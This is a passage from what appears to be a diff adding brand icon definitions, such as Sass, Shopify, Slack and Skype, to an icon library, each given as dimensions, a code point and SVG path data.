10.3 6.59 22.82 6.59 13.17 0 21.4-7.06 21.4-18.11zm32-42.58c-10.13 0-18.66 3.17-21.4 5.18a1 1 0 0 0-.24 1.41l2.59 7.06a1 1 0 0 0 1.18.7c.65 0 6.8-4 16.93-4 4 0 7.06.71 9.18 2.36 3.6 2.8 3.06 8.29 3.06 10.58-4.79-.3-19.11-3.44-29.41 3.76a16.92 16.92 0 0 0-7.34 14.54c0 5.9 1.51 10.4 6.59 14.35 12.24 8.16 36.28 2 38.1 1.41 1.58-.32 3.53-.66 3.53-1.88v-33.88c.04-4.61.32-21.64-22.78-21.64zM199 200.24a1.11 1.11 0 0 0-1.18-1.18H188a1.11 1.11 0 0 0-1.17 1.18v79a1.11 1.11 0 0 0 1.17 1.18h9.88a1.11 1.11 0 0 0 1.18-1.18zm55.75 28.93c-2.1-2.31-6.79-7.53-17.65-7.53-3.51 0-14.16.23-20.7 8.94-6.35 7.63-6.58 18.11-6.58 21.41 0 3.12.15 14.26 7.06 21.17 2.64 2.91 9.06 8.23 22.81 8.23 10.82 0 16.47-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.35-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.94-16.7h37.17a1.23 1.23 0 0 0 1.17-.94c-.29 0 2.07-14.7-6.09-24.23zm36.69 52.69c13.17 0 21.41-7.06 21.41-18.11 0-11.76-11.7-15.17-17.88-17.17-4.14-1.66-13.41-3.38-13.41-8.94 0-3.76 3.29-6.35 8.47-6.35a38.11 38.11 0 0 1 16.7 4.23s1.18.71 1.65-.47c.23-.7 2.35-6.58 2.58-7.29a1.13 1.13 0 0 0-.7-1.41c-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17 3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 0 0 1-19-6.35 1 1 0 0 0-1.65.71l-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72 1.4 10.33 6.59 22.79 6.59zM357.09 224c0-.71-.24-1.18-1.18-1.18h-11.76c0-.14.94-8.94 4.47-12.47 4.16-4.15 11.76-1.64 12-1.64 1.17.47 1.41 0 1.64-.47l2.83-7.77c.7-.94 0-1.17-.24-1.41-5.09-2-17.35-2.87-24.46 4.24-5.48 5.48-7 13.92-8 19.52h-8.47a1.28 1.28 0 0 0-1.17 1.18l-1.42 7.76c0 .7.24 1.17 1.18 1.17h8.23c-8.51 47.9-8.75 50.21-10.35 55.52-1.08 3.62-3.29 6.9-5.88 7.76-.09 0-3.88 1.68-9.64-.24 0 0-.94-.47-1.41.71-.24.71-2.59 6.82-2.83 7.53s0 1.41.47 1.41c5.11 2 13 1.77 17.88 0 6.28-2.28 9.72-7.89 11.53-12.94 2.75-7.71 2.81-9.79 11.76-59.74h12.23a1.29 1.29 0 0 0 1.18-1.18zm53.39 16c-.56-1.68-5.1-18.11-25.17-18.11-15.25 0-23 10-25.16 18.11-1 3-3.18 14 0 23.52.09.3 4.41 18.12 25.16 18.12 14.95 0 22.9-9.61 25.17-18.12 3.21-9.61 1.01-20.52 0-23.52zm45.4-16.7c-5-1.65-16.62-1.9-22.11 5.41v-4.47a1.11 1.11 0 0 0-1.18-1.17h-9.4a1.11 1.11 0 0 0-1.18 1.17v55.28a1.12 1.12 0 0 0 1.18 1.18h9.64a1.12 1.12 0 0 0 1.18-1.18v-27.77c0-2.91.05-11.37 4.46-15.05 4.9-4.9 12-3.36 13.41-3.06a1.57 1.57 0 0 0 1.41-.94 74 74 0 0 0 3.06-8 1.16 1.16 0 0 0-.47-1.41zm46.81 54.1l-2.12-7.29c-.47-1.18-1.41-.71-1.41-.71-4.23 1.82-10.15 1.89-11.29 1.89-4.64 0-17.17-1.13-17.17-19.76 0-6.23 1.85-19.76 16.47-19.76a34.85 34.85 0 0 1 11.52 1.65s.94.47 1.18-.71c.94-2.59 1.64-4.47 2.59-7.53.23-.94-.47-1.17-.71-1.17-11.59-3.87-22.34-2.53-27.76 0-1.59.74-16.23 6.49-16.23 27.52 0 2.9-.58 30.11 28.94 30.11a44.45 44.45 0 0 0 15.52-2.83 1.3 1.3 0 0 0 .47-1.42zm53.87-39.52c-.8-3-5.37-16.23-22.35-16.23-16 0-23.52 10.11-25.64 18.59a38.58 38.58 0 0 0-1.65 11.76c0 25.87 18.84 29.4 29.88 29.4 10.82 0 16.46-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.36-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.93-16.7h37.16a1.25 1.25 0 0 0 1.18-.94c-.24-.01.94-7.07-1.41-15.54zm-23.29-6.35c-10.33 0-13 9-13.64 14.12H546c-.88-11.92-7.62-14.13-12.73-14.13z"], + "sass": [640, 512, [], "f41e", "M301.84 378.92c-.3.6-.6 1.08 0 0zm249.13-87a131.16 131.16 0 0 0-58 13.5c-5.9-11.9-12-22.3-13-30.1-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.3-6.7-24 2.5-25.29 5.9a122.83 122.83 0 0 0-5.3 19.1c-2.3 11.7-25.79 53.5-39.09 75.3-4.4-8.5-8.1-16-8.9-22-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.29-6.7-24 2.5-25.3 5.9-2.7 11.4-5.3 19.1-33.89 77.3-42.08 95.4c-4.2 9.2-7.8 16.6-10.4 21.6-.4.8-.7 1.3-.9 1.7.3-.5.5-1 .5-.8-2.2 4.3-3.5 6.7-3.5 6.7v.1c-1.7 3.2-3.6 6.1-4.5 6.1-.6 0-1.9-8.4.3-19.9 4.7-24.2 15.8-61.8 15.7-63.1-.1-.7 2.1-7.2-7.3-10.7-9.1-3.3-12.4 2.2-13.2 2.2s-1.4 2-1.4 2 10.1-42.4-19.39-42.4c-18.4 0-44 20.2-56.58 38.5-7.9 4.3-25 13.6-43 23.5-6.9 3.8-14 7.7-20.7 11.4-.5-.5-.9-1-1.4-1.5-35.79-38.2-101.87-65.2-99.07-116.5 1-18.7 7.5-67.8 127.07-127.4 98-48.8 176.35-35.4 189.84-5.6 19.4 42.5-41.89 121.6-143.66 133-38.79 4.3-59.18-10.7-64.28-16.3-5.3-5.9-6.1-6.2-8.1-5.1-3.3 1.8-1.2 7 0 10.1 3 7.9 15.5 21.9 36.79 28.9 18.7 6.1 64.18 9.5 119.17-11.8 61.78-23.8 109.87-90.1 95.77-145.6C386.52 18.32 293-.18 204.57 31.22c-52.69 18.7-109.67 48.1-150.66 86.4-48.69 45.6-56.48 85.3-53.28 101.9 11.39 58.9 92.57 97.3 125.06 125.7-1.6.9-3.1 1.7-4.5 2.5-16.29 8.1-78.18 40.5-93.67 74.7-17.5 38.8 2.9 66.6 16.29 70.4 41.79 11.6 84.58-9.3 107.57-43.6s20.2-79.1 9.6-99.5c-.1-.3-.3-.5-.4-.8 4.2-2.5 8.5-5 12.8-7.5 8.29-4.9 16.39-9.4 23.49-13.3-4 10.8-6.9 23.8-8.4 42.6-1.8 22 7.3 50.5 19.1 61.7 5.2 4.9 11.49 5 15.39 5 13.8 0 20-11.4 26.89-25 8.5-16.6 16-35.9 16-35.9s-9.4 52.2 16.3 52.2c9.39 0 18.79-12.1 23-18.3v.1s.2-.4.7-1.2c1-1.5 1.5-2.4 1.5-2.4v-.3c3.8-6.5 12.1-21.4 24.59-46 16.2-31.8 31.69-71.5 31.69-71.5a201.24 201.24 0 0 0 6.2 25.8c2.8 9.5 8.7 19.9 13.4 30-3.8 5.2-6.1 8.2-6.1 8.2a.31.31 0 0 0 .1.2c-3 4-6.4 8.3-9.9 12.5-12.79 15.2-28 32.6-30 37.6-2.4 5.9-1.8 10.3 2.8 13.7 3.4 2.6 9.4 3 15.69 2.5 11.5-.8 19.6-3.6 23.5-5.4a82.2 82.2 0 0 0 20.19-10.6c12.5-9.2 20.1-22.4 19.4-39.8-.4-9.6-3.5-19.2-7.3-28.2 1.1-1.6 2.3-3.3 3.4-5C434.8 301.72 450.1 270 450.1 270a201.24 201.24 0 0 0 6.2 25.8c2.4 8.1 7.09 17 11.39 25.7-18.59 15.1-30.09 32.6-34.09 44.1-7.4 21.3-1.6 30.9 9.3 33.1 4.9 1 11.9-1.3 17.1-3.5a79.46 79.46 0 0 0 21.59-11.1c12.5-9.2 24.59-22.1 23.79-39.6-.3-7.9-2.5-15.8-5.4-23.4 15.7-6.6 36.09-10.2 62.09-7.2 55.68 6.5 66.58 41.3 64.48 55.8s-13.8 22.6-17.7 25-5.1 3.3-4.8 5.1c.5 2.6 2.3 2.5 5.6 1.9 4.6-.8 29.19-11.8 30.29-38.7 1.6-34-31.09-71.4-89-71.1zm-429.18 144.7c-18.39 20.1-44.19 27.7-55.28 21.3C54.61 451 59.31 421.42 82 400c13.8-13 31.59-25 43.39-32.4 2.7-1.6 6.6-4 11.4-6.9.8-.5 1.2-.7 1.2-.7.9-.6 1.9-1.1 2.9-1.7 8.29 30.4.3 57.2-19.1 78.3zm134.36-91.4c-6.4 15.7-19.89 55.7-28.09 53.6-7-1.8-11.3-32.3-1.4-62.3 5-15.1 15.6-33.1 21.9-40.1 10.09-11.3 21.19-14.9 23.79-10.4 3.5 5.9-12.2 49.4-16.2 59.2zm111 53c-2.7 1.4-5.2 2.3-6.4 1.6-.9-.5 1.1-2.4 1.1-2.4s13.9-14.9 19.4-21.7c3.2-4 6.9-8.7 10.89-13.9 0 .5.1 1 .1 1.6-.13 17.9-17.32 30-25.12 34.8zm85.58-19.5c-2-1.4-1.7-6.1 5-20.7 2.6-5.7 8.59-15.3 19-24.5a36.18 36.18 0 0 1 1.9 10.8c-.1 22.5-16.2 30.9-25.89 34.4z"], + "schlix": [448, 512, [], "f3ea", "M350.5 157.7l-54.2-46.1 73.4-39 78.3 44.2-97.5 40.9zM192 122.1l45.7-28.2 34.7 34.6-55.4 29-25-35.4zm-65.1 6.6l31.9-22.1L176 135l-36.7 22.5-12.4-28.8zm-23.3 88.2l-8.8-34.8 29.6-18.3 13.1 35.3-33.9 17.8zm-21.2-83.7l23.9-18.1 8.9 24-26.7 18.3-6.1-24.2zM59 206.5l-3.6-28.4 22.3-15.5 6.1 28.7L59 206.5zm-30.6 16.6l20.8-12.8 3.3 33.4-22.9 12-1.2-32.6zM1.4 268l19.2-10.2.4 38.2-21 8.8L1.4 268zm59.1 59.3l-28.3 8.3-1.6-46.8 25.1-10.7 4.8 49.2zM99 263.2l-31.1 13-5.2-40.8L90.1 221l8.9 42.2zM123.2 377l-41.6 5.9-8.1-63.5 35.2-10.8 14.5 68.4zm28.5-139.9l21.2 57.1-46.2 13.6-13.7-54.1 38.7-16.6zm85.7 230.5l-70.9-3.3-24.3-95.8 55.2-8.6 40 107.7zm-84.9-279.7l42.2-22.4 28 45.9-50.8 21.3-19.4-44.8zm41 94.9l61.3-18.7 52.8 86.6-79.8 11.3-34.3-79.2zm51.4-85.6l67.3-28.8 65.5 65.4-88.6 26.2-44.2-62.8z"], + "scribd": [384, 512, [], "f28a", "M42.3 252.7c-16.1-19-24.7-45.9-24.8-79.9 0-100.4 75.2-153.1 167.2-153.1 98.6-1.6 156.8 49 184.3 70.6l-50.5 72.1-37.3-24.6 26.9-38.6c-36.5-24-79.4-36.5-123-35.8-50.7-.8-111.7 27.2-111.7 76.2 0 18.7 11.2 20.7 28.6 15.6 23.3-5.3 41.9.6 55.8 14 26.4 24.3 23.2 67.6-.7 91.9-29.2 29.5-85.2 27.3-114.8-8.4zm317.7 5.9c-15.5-18.8-38.9-29.4-63.2-28.6-38.1-2-71.1 28-70.5 67.2-.7 16.8 6 33 18.4 44.3 14.1 13.9 33 19.7 56.3 14.4 17.4-5.1 28.6-3.1 28.6 15.6 0 4.3-.5 8.5-1.4 12.7-16.7 40.9-59.5 64.4-121.4 64.4-51.9.2-102.4-16.4-144.1-47.3l33.7-39.4-35.6-27.4L0 406.3l15.4 13.8c52.5 46.8 120.4 72.5 190.7 72.2 51.4 0 94.4-10.5 133.6-44.1 57.1-51.4 54.2-149.2 20.3-189.6z"], + "searchengin": [460, 512, [], "f3eb", "M220.6 130.3l-67.2 28.2V43.2L98.7 233.5l54.7-24.2v130.3l67.2-209.3zm-83.2-96.7l-1.3 4.7-15.2 52.9C80.6 106.7 52 145.8 52 191.5c0 52.3 34.3 95.9 83.4 105.5v53.6C57.5 340.1 0 272.4 0 191.6c0-80.5 59.8-147.2 137.4-158zm311.4 447.2c-11.2 11.2-23.1 12.3-28.6 10.5-5.4-1.8-27.1-19.9-60.4-44.4-33.3-24.6-33.6-35.7-43-56.7-9.4-20.9-30.4-42.6-57.5-52.4l-9.7-14.7c-24.7 16.9-53 26.9-81.3 28.7l2.1-6.6 15.9-49.5c46.5-11.9 80.9-54 80.9-104.2 0-54.5-38.4-102.1-96-107.1V32.3C254.4 37.4 320 106.8 320 191.6c0 33.6-11.2 64.7-29 90.4l14.6 9.6c9.8 27.1 31.5 48 52.4 57.4s32.2 9.7 56.8 43c24.6 33.2 42.7 54.9 44.5 60.3s.7 17.3-10.5 28.5zm-9.9-17.9c0-4.4-3.6-8-8-8s-8 3.6-8 8 3.6 8 8 8 8-3.6 8-8z"], + "sellcast": [448, 512, [], "f2da", "M353.4 32H94.7C42.6 32 0 74.6 0 126.6v258.7C0 437.4 42.6 480 94.7 480h258.7c52.1 0 94.7-42.6 94.7-94.6V126.6c0-52-42.6-94.6-94.7-94.6zm-50 316.4c-27.9 48.2-89.9 64.9-138.2 37.2-22.9 39.8-54.9 8.6-42.3-13.2l15.7-27.2c5.9-10.3 19.2-13.9 29.5-7.9 18.6 10.8-.1-.1 18.5 10.7 27.6 15.9 63.4 6.3 79.4-21.3 15.9-27.6 6.3-63.4-21.3-79.4-17.8-10.2-.6-.4-18.6-10.6-24.6-14.2-3.4-51.9 21.6-37.5 18.6 10.8-.1-.1 18.5 10.7 48.4 28 65.1 90.3 37.2 138.5zm21.8-208.8c-17 29.5-16.3 28.8-19 31.5-6.5 6.5-16.3 8.7-26.5 3.6-18.6-10.8.1.1-18.5-10.7-27.6-15.9-63.4-6.3-79.4 21.3s-6.3 63.4 21.3 79.4c0 0 18.5 10.6 18.6 10.6 24.6 14.2 3.4 51.9-21.6 37.5-18.6-10.8.1.1-18.5-10.7-48.2-27.8-64.9-90.1-37.1-138.4 27.9-48.2 89.9-64.9 138.2-37.2l4.8-8.4c14.3-24.9 52-3.3 37.7 21.5z"], + "sellsy": [640, 512, [], "f213", "M539.71 237.308c3.064-12.257 4.29-24.821 4.29-37.384C544 107.382 468.618 32 376.076 32c-77.22 0-144.634 53.012-163.02 127.781-15.322-13.176-34.934-20.53-55.157-20.53-46.271 0-83.962 37.69-83.962 83.961 0 7.354.92 15.015 3.065 22.369-42.9 20.225-70.785 63.738-70.785 111.234C6.216 424.843 61.68 480 129.401 480h381.198c67.72 0 123.184-55.157 123.184-123.184.001-56.384-38.916-106.025-94.073-119.508zM199.88 401.554c0 8.274-7.048 15.321-15.321 15.321H153.61c-8.274 0-15.321-7.048-15.321-15.321V290.626c0-8.273 7.048-15.321 15.321-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v110.928zm89.477 0c0 8.274-7.048 15.321-15.322 15.321h-30.949c-8.274 0-15.321-7.048-15.321-15.321V270.096c0-8.274 7.048-15.321 15.321-15.321h30.949c8.274 0 15.322 7.048 15.322 15.321v131.458zm89.477 0c0 8.274-7.047 15.321-15.321 15.321h-30.949c-8.274 0-15.322-7.048-15.322-15.321V238.84c0-8.274 7.048-15.321 15.322-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v162.714zm87.027 0c0 8.274-7.048 15.321-15.322 15.321h-28.497c-8.274 0-15.321-7.048-15.321-15.321V176.941c0-8.579 7.047-15.628 15.321-15.628h28.497c8.274 0 15.322 7.048 15.322 15.628v224.613z"], + "servicestack": [496, 512, [], "f3ec", "M88 216c81.7 10.2 273.7 102.3 304 232H0c99.5-8.1 184.5-137 88-232zm32-152c32.3 35.6 47.7 83.9 46.4 133.6C249.3 231.3 373.7 321.3 400 448h96C455.3 231.9 222.8 79.5 120 64z"], + "shirtsinbulk": [448, 512, [], "f214", "M100 410.3l30.6 13.4 4.4-9.9-30.6-13.4zm39.4 17.5l30.6 13.4 4.4-9.9-30.6-13.4zm172.1-14l4.4 9.9 30.6-13.4-4.4-9.9zM179.1 445l30.3 13.7 4.4-9.9-30.3-13.4zM60.4 392.8L91 406.2l4.4-9.6-30.6-13.7zm211.4 38.5l4.4 9.9 30.6-13.4-4.4-9.9zm-39.3 17.5l4.4 9.9 30.6-13.7-4.4-9.6zm118.4-52.2l4.4 9.6 30.6-13.4-4.4-9.9zM170 46.6h-33.5v10.5H170zm-47.2 0H89.2v10.5h33.5zm-47.3 0H42.3v10.5h33.3zm141.5 0h-33.2v10.5H217zm94.5 0H278v10.5h33.5zm47.3 0h-33.5v10.5h33.5zm-94.6 0H231v10.5h33.2zm141.5 0h-33.3v10.5h33.3zM52.8 351.1H42v33.5h10.8zm70-215.9H89.2v10.5h33.5zm-70 10.6h22.8v-10.5H42v33.5h10.8zm168.9 228.6c50.5 0 91.3-40.8 91.3-91.3 0-50.2-40.8-91.3-91.3-91.3-50.2 0-91.3 41.1-91.3 91.3 0 50.5 41.1 91.3 91.3 91.3zm-48.2-111.1c0-25.4 29.5-31.8 49.6-31.8 16.9 0 29.2 5.8 44.3 12l-8.8 16.9h-.9c-6.4-9.9-24.8-13.1-35.6-13.1-9 0-29.8 1.8-29.8 14.9 0 21.6 78.5-10.2 78.5 37.9 0 25.4-31.5 31.2-51 31.2-18.1 0-32.4-2.9-47.2-12.2l9-18.4h.9c6.1 12.2 23.6 14.9 35.9 14.9 8.7 0 32.7-1.2 32.7-14.3 0-26.1-77.6 6.3-77.6-38zM52.8 178.4H42V212h10.8zm342.4 206.2H406v-33.5h-10.8zM52.8 307.9H42v33.5h10.8zM0 3.7v406l221.7 98.6L448 409.7V3.7zm418.8 387.1L222 476.5 29.2 390.8V120.7h389.7v270.1zm0-299.3H29.2V32.9h389.7v58.6zm-366 130.1H42v33.5h10.8zm0 43.2H42v33.5h10.8zM170 135.2h-33.5v10.5H170zm225.2 163.1H406v-33.5h-10.8zm0-43.2H406v-33.5h-10.8zM217 135.2h-33.2v10.5H217zM395.2 212H406v-33.5h-10.8zm0 129.5H406V308h-10.8zm-131-206.3H231v10.5h33.2zm47.3 0H278v10.5h33.5zm83.7 33.6H406v-33.5h-33.5v10.5h22.8zm-36.4-33.6h-33.5v10.5h33.5z"], + "shopify": [448, 512, [], "e057", "M388.32,104.1a4.66,4.66,0,0,0-4.4-4c-2,0-37.23-.8-37.23-.8s-21.61-20.82-29.62-28.83V503.2L442.76,472S388.72,106.5,388.32,104.1ZM288.65,70.47a116.67,116.67,0,0,0-7.21-17.61C271,32.85,255.42,22,237,22a15,15,0,0,0-4,.4c-.4-.8-1.2-1.2-1.6-2C223.4,11.63,213,7.63,200.58,8c-24,.8-48,18-67.25,48.83-13.61,21.62-24,48.84-26.82,70.06-27.62,8.4-46.83,14.41-47.23,14.81-14,4.4-14.41,4.8-16,18-1.2,10-38,291.82-38,291.82L307.86,504V65.67a41.66,41.66,0,0,0-4.4.4S297.86,67.67,288.65,70.47ZM233.41,87.69c-16,4.8-33.63,10.4-50.84,15.61,4.8-18.82,14.41-37.63,25.62-50,4.4-4.4,10.41-9.61,17.21-12.81C232.21,54.86,233.81,74.48,233.41,87.69ZM200.58,24.44A27.49,27.49,0,0,1,215,28c-6.4,3.2-12.81,8.41-18.81,14.41-15.21,16.42-26.82,42-31.62,66.45-14.42,4.41-28.83,8.81-42,12.81C131.33,83.28,163.75,25.24,200.58,24.44ZM154.15,244.61c1.6,25.61,69.25,31.22,73.25,91.66,2.8,47.64-25.22,80.06-65.65,82.47-48.83,3.2-75.65-25.62-75.65-25.62l10.4-44s26.82,20.42,48.44,18.82c14-.8,19.22-12.41,18.81-20.42-2-33.62-57.24-31.62-60.84-86.86-3.2-46.44,27.22-93.27,94.47-97.68,26-1.6,39.23,4.81,39.23,4.81L221.4,225.39s-17.21-8-37.63-6.4C154.15,221,153.75,239.8,154.15,244.61ZM249.42,82.88c0-12-1.6-29.22-7.21-43.63,18.42,3.6,27.22,24,31.23,36.43Q262.63,78.68,249.42,82.88Z"], + "shopware": [512, 512, [], "f5b5", "M403.5 455.41A246.17 246.17 0 0 1 256 504C118.81 504 8 393 8 256 8 118.81 119 8 256 8a247.39 247.39 0 0 1 165.7 63.5 3.57 3.57 0 0 1-2.86 6.18A418.62 418.62 0 0 0 362.13 74c-129.36 0-222.4 53.47-222.4 155.35 0 109 92.13 145.88 176.83 178.73 33.64 13 65.4 25.36 87 41.59a3.58 3.58 0 0 1 0 5.72zM503 233.09a3.64 3.64 0 0 0-1.27-2.44c-51.76-43-93.62-60.48-144.48-60.48-84.13 0-80.25 52.17-80.25 53.63 0 42.6 52.06 62 112.34 84.49 31.07 11.59 63.19 23.57 92.68 39.93a3.57 3.57 0 0 0 5-1.82A249 249 0 0 0 503 233.09z"], + "simplybuilt": [512, 512, [], "f215", "M481.2 64h-106c-14.5 0-26.6 11.8-26.6 26.3v39.6H163.3V90.3c0-14.5-12-26.3-26.6-26.3h-106C16.1 64 4.3 75.8 4.3 90.3v331.4c0 14.5 11.8 26.3 26.6 26.3h450.4c14.8 0 26.6-11.8 26.6-26.3V90.3c-.2-14.5-12-26.3-26.7-26.3zM149.8 355.8c-36.6 0-66.4-29.7-66.4-66.4 0-36.9 29.7-66.6 66.4-66.6 36.9 0 66.6 29.7 66.6 66.6 0 36.7-29.7 66.4-66.6 66.4zm212.4 0c-36.9 0-66.6-29.7-66.6-66.6 0-36.6 29.7-66.4 66.6-66.4 36.6 0 66.4 29.7 66.4 66.4 0 36.9-29.8 66.6-66.4 66.6z"], + "sistrix": [448, 512, [], "f3ee", "M448 449L301.2 300.2c20-27.9 31.9-62.2 31.9-99.2 0-93.1-74.7-168.9-166.5-168.9C74.7 32 0 107.8 0 200.9s74.7 168.9 166.5 168.9c39.8 0 76.3-14.2 105-37.9l146 148.1 30.5-31zM166.5 330.8c-70.6 0-128.1-58.3-128.1-129.9S95.9 71 166.5 71s128.1 58.3 128.1 129.9-57.4 129.9-128.1 129.9z"], + "sith": [448, 512, [], "f512", "M0 32l69.71 118.75-58.86-11.52 69.84 91.03a146.741 146.741 0 0 0 0 51.45l-69.84 91.03 58.86-11.52L0 480l118.75-69.71-11.52 58.86 91.03-69.84c17.02 3.04 34.47 3.04 51.48 0l91.03 69.84-11.52-58.86L448 480l-69.71-118.78 58.86 11.52-69.84-91.03c3.03-17.01 3.04-34.44 0-51.45l69.84-91.03-58.86 11.52L448 32l-118.75 69.71 11.52-58.9-91.06 69.87c-8.5-1.52-17.1-2.29-25.71-2.29s-17.21.78-25.71 2.29l-91.06-69.87 11.52 58.9L0 32zm224 99.78c31.8 0 63.6 12.12 87.85 36.37 48.5 48.5 48.49 127.21 0 175.7s-127.2 48.46-175.7-.03c-48.5-48.5-48.49-127.21 0-175.7 24.24-24.25 56.05-36.34 87.85-36.34zm0 36.66c-22.42 0-44.83 8.52-61.92 25.61-34.18 34.18-34.19 89.68 0 123.87s89.65 34.18 123.84 0c34.18-34.18 34.19-89.68 0-123.87-17.09-17.09-39.5-25.61-61.92-25.61z"], + "sketch": [512, 512, [], "f7c6", "M27.5 162.2L9 187.1h90.5l6.9-130.7-78.9 105.8zM396.3 45.7L267.7 32l135.7 147.2-7.1-133.5zM112.2 218.3l-11.2-22H9.9L234.8 458zm2-31.2h284l-81.5-88.5L256.3 33zm297.3 9.1L277.6 458l224.8-261.7h-90.9zM415.4 69L406 56.4l.9 17.3 6.1 113.4h90.3zM113.5 93.5l-4.6 85.6L244.7 32 116.1 45.7zm287.7 102.7h-290l42.4 82.9L256.3 480l144.9-283.8z"], + "skyatlas": [640, 512, [], "f216", "M640 329.3c0 65.9-52.5 114.4-117.5 114.4-165.9 0-196.6-249.7-359.7-249.7-146.9 0-147.1 212.2 5.6 212.2 42.5 0 90.9-17.8 125.3-42.5 5.6-4.1 16.9-16.3 22.8-16.3s10.9 5 10.9 10.9c0 7.8-13.1 19.1-18.7 24.1-40.9 35.6-100.3 61.2-154.7 61.2-83.4.1-154-59-154-144.9s67.5-149.1 152.8-149.1c185.3 0 222.5 245.9 361.9 245.9 99.9 0 94.8-139.7 3.4-139.7-17.5 0-35 11.6-46.9 11.6-8.4 0-15.9-7.2-15.9-15.6 0-11.6 5.3-23.7 5.3-36.3 0-66.6-50.9-114.7-116.9-114.7-53.1 0-80 36.9-88.8 36.9-6.2 0-11.2-5-11.2-11.2 0-5.6 4.1-10.3 7.8-14.4 25.3-28.8 64.7-43.7 102.8-43.7 79.4 0 139.1 58.4 139.1 137.8 0 6.9-.3 13.7-1.2 20.6 11.9-3.1 24.1-4.7 35.9-4.7 60.7 0 111.9 45.3 111.9 107.2z"], + "skype": [448, 512, [], "f17e", "M424.7 299.8c2.9-14 4.7-28.9 4.7-43.8 0-113.5-91.9-205.3-205.3-205.3-14.9 0-29.7 1.7-43.8 4.7C161.3 40.7 137.7 32 112 32 50.2 32 0 82.2 0 144c0 25.7 8.7 49.3 23.3 68.2-2.9 14-4.7 28.9-4.7 43.8 0 113.5 91.9 205.3 205.3 205.3 14.9 0 29.7-1.7 43.8-4.7 19 14.6 42.6 23.3 68.2 23.3 61.8 0 112-50.2 112-112 .1-25.6-8.6-49.2-23.2-68.1zm-194.6 91.5c-65.6 0-120.5-29.2-120.5-65 0-16 9-30.6 29.5-30.6 31.2 0 34.1 44.9 88.1 44.9 25.7 0 42.3-11.4 42.3-26.3 0-18.7-16-21.6-42-28-62.5-15.4-117.8-22-117.8-87.2 0-59.2 58.6-81.1 109.1-81.1 55.1 0 110.8 21.9 110.8 55.4 0 16.9-11.4 31.8-30.3 31.8-28.3 0-29.2-33.5-75-33.5-25.7 0-42 7-42 22.5 0 19.8 20.8 21.8 69.1 33 41.4 9.3 90.7 26.8 90.7 77.6 0 59.1-57.1 86.5-112 86.5z"], + "slack": [448, 512, [], "f198", "M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z"], + "slack-hash": [448, 512, [], "f3ef", "M446.2 270.4c-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-30.3-90 45.4-15.1c19.1-6.2 29.1-26.8 23-45.9-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-93.4 31.2-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-45.3 15c-19.1 6.2-29.1 26.8-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l30.3 90L78 354.8c-19 6.2-29.1 26.9-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 93.6-31.3 15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 45.4-15.1c19-6 29.1-26.7 22.9-45.7zm-254.1 47.2l-30.3-90.2 93.5-31.3 30.3 90.2-93.5 31.3z"], + "slideshare": [512, 512, [], "f1e7", "M187.7 153.7c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7s61.7-26 61.7-57.7c0-32-27.7-57.7-61.7-57.7zm143.4 0c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7 34.3 0 61.7-26 61.7-57.7.1-32-27.4-57.7-61.7-57.7zm156.6 90l-6 4.3V49.7c0-27.4-20.6-49.7-46-49.7H76.6c-25.4 0-46 22.3-46 49.7V248c-2-1.4-4.3-2.9-6.3-4.3-15.1-10.6-25.1 4-16 17.7 18.3 22.6 53.1 50.3 106.3 72C58.3 525.1 252 555.7 248.9 457.5c0-.7.3-56.6.3-96.6 5.1 1.1 9.4 2.3 13.7 3.1 0 39.7.3 92.8.3 93.5-3.1 98.3 190.6 67.7 134.3-124 53.1-21.7 88-49.4 106.3-72 9.1-13.8-.9-28.3-16.1-17.8zm-30.5 